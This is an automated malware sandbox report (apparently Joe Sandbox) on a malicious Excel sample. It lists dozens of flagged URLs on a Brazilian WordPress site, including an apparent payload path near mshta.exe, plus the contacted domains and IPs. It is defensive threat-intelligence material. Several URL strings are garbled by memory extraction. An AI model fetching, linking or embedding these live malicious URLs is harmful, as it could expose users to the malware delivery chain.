http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0C:	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6ver=2.3.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3-US	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2ii	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.30E)ferr	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3ET4.0C;	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/privacy-policyflateC	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.30E)nsla#	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0ET4.0E)	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20ive.css.NET4.0E)	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0.NET4.0E)&	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3	100%	Avira URL Cloud	malware
http://kyruus.com	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0.NET4.0E)J	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.40ET4.0E)0=	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.d	100%	Avira URL Cloud	malware
https://facextrade.com.br/feed/	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3er=1.0.	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.200.NET4.0E)	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20author	100%	Avira URL Cloud	malware
http://facextrade.com.br/xmlrpc.php	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.04.0E)	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3C:	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20)	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/wlwmanifest.xml	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/4.txt...3	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/privacy-policyng4	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0)	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png$	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/4.txtmshta	100%	Avira URL Cloud	malware
https://facextrade.com.br/P/1.1	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.01.0)h	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0=1.06_pai	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0.NET4.0E)	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/4.txtsmshta	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0S	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4C:	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/4.txt#D	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4?ver=2.1.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2P	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/style.cssBn	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.00E)Hl	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.cssstr	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3.0ks	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/4.txtcy	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
facextrade.com.br	187.45.240.69	true	true	5%, Virustotal, Browse	unknown
gstaticadssl.l.google.com	172.217.16.195	true	false		high
netdna.bootstrapcdn.com	104.18.11.207	true	false		high
www3.l.google.com	142.250.181.238	true	false		high
storage.ie6countdown.com	unknown	unknown	false		unknown
translate.google.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.60C;	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://facextrade.com.br/feed/atom/Y	mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra	mshta.exe, 00000008.00000002.1170406636.00000000031F0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1	mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0ET4.0E)re	mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)	mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://adomas.org/javascript-mouse-wheel/	jquery.mousewheel.min[1].js.8.dr	false	URL Reputation: safe	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.21.2.1	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/main-style.css.css?ver=4.9.204.9.201.2.8.1241	mshta.exe, 00000008.00000002.1167349641.0000000000292000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204179	mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/	mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico	mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://vimeo.com/groups/:group/videos/:id	mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	false		high
https://translate.google.com/y	mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	false		high
http://facextrade.com.br/ae	mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0http://facextrade.com	mshta.exe, 00000008.00000002.1170406636.00000000031F0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/xmlrpc.phpa	mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://csp.withgoogle.com/csp/report-to/apps-themes	mshta.exe, 00000008.00000002.1167470567.00000000002E0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://netdna.bootstrapcdn.com/	mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://youtu.be/:id	mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.019	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://creativecommons.org/licenses/by/3.0/	mshta.exe, 00000008.00000003.937402502.00000000003AB000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	false		high
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1la	mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6i	mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0P	mshta.exe, 00000008.00000002.1180809282.0000000006454000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg.0=1.0	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0C:	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.opensource.org/licenses/mit-license.php	mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp, camera.min[1].js.8.dr, swfobject[1].js.8.dr, jplayer.playlist.min[1].js.8.dr	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6ver=2.3.0	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3-US	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://twitter.com/fontawesome.	mshta.exe, 00000008.00000003.937402502.00000000003AB000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	false		high
http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2ii	mshta.exe, 00000008.00000002.1167157736.000000000023E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.30E)ferr	mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3ET4.0C;	mshta.exe, 00000008.00000002.1167157736.000000000023E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/certificates/privacy-policyflateC	mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling	mshta.exe, 00000008.00000003.937380901.00000000003B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.30E)nsla#	mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://github.com/joeldbirch/onHoverIntent	mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036205604.0000000004825000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174196123.000000000482C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036412519.0000000004828000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036484778.0000000004829000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036357765.0000000004827000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036567110.000000000482B000.00000004.00000800.00020000.00000000.sdmp, superfish[1].js.8.dr	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0ET4.0E)	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20ive.css.NET4.0E)	mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0.NET4.0E)&	mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://kyruus.com	mshta.exe, 00000008.00000003.937402502.00000000003AB000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	false	URL Reputation: safe	unknown
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0.NET4.0E)J	mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.40ET4.0E)0=	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.d	mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172304935.0000000003A2E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://facextrade.com.br/feed/	mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3er=1.0.	mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.200.NET4.0E)	mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20author	mshta.exe, 00000008.00000002.1177426727.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/xmlrpc.php	mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.04.0E)	mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3C:	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20)	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/wlwmanifest.xml	mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/certificates/4.txt...3	mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://app.vzaar.com/videos/:id	mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	false		high
http://facextrade.com.br/wp-includes/certificates/privacy-policyng4	mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://info.template-help.com/help/	style[1].css.8.dr	false		high
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js	mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170406636.00000000031F0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0)	mshta.exe, 00000008.00000002.1180809282.0000000006454000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png$	mshta.exe, 00000008.00000002.1180809282.0000000006454000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://netdna.bootstrapcdn.com/font-awesome/3.2.1/font/fontawesome-webfont.eot?v=3.2.1.NET4.0E)	mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://facextrade.com.br/wp-includes/certificates/4.txtmshta	mshta.exe, 00000008.00000002.1166866976.0000000000200000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://facextrade.com.br/P/1.1	mshta.exe, 00000008.00000002.1172304935.0000000003A2E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.01.0)h	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0=1.06_pai	mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.entrust.net/2048ca.crl0	mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0.NET4.0E)	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.gnu.org/copyleft/gpl.html	jplayer.playlist.min[1].js.8.dr	false		high
http://facextrade.com.br/wp-includes/certificates/4.txtsmshta	cmd.exe, 00000002.00000002.1166906475.000000000044E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0S	mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4C:	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/certificates/4.txt#D	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://github.com/mambows/mobilemenu	jquery.mobilemenu[1].js.8.dr	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4?ver=2.1.0	mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2P	mshta.exe, 00000008.00000003.1061193305.0000000002FF3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1169795103.0000000002FF3000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/style.cssBn	mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://vimeo.com/channels/:channel/:id	mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	false		high
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver	mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.00E)Hl	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.cssstr	mshta.exe, 00000008.00000002.1177426727.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3.0ks	mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/certificates/4.txtcy	mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.11.207	netdna.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
142.250.181.238	www3.l.google.com	United States	15169	GOOGLEUS	false
187.45.240.69	facextrade.com.br	Brazil	27715	LocawebServicosdeInternetSABR	true

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	684696
Start date and time:	2022-08-16 11:52:09 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Exploit.Siggen3.17149.4489.28684 (renamed file extension from 28684 to xls)
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
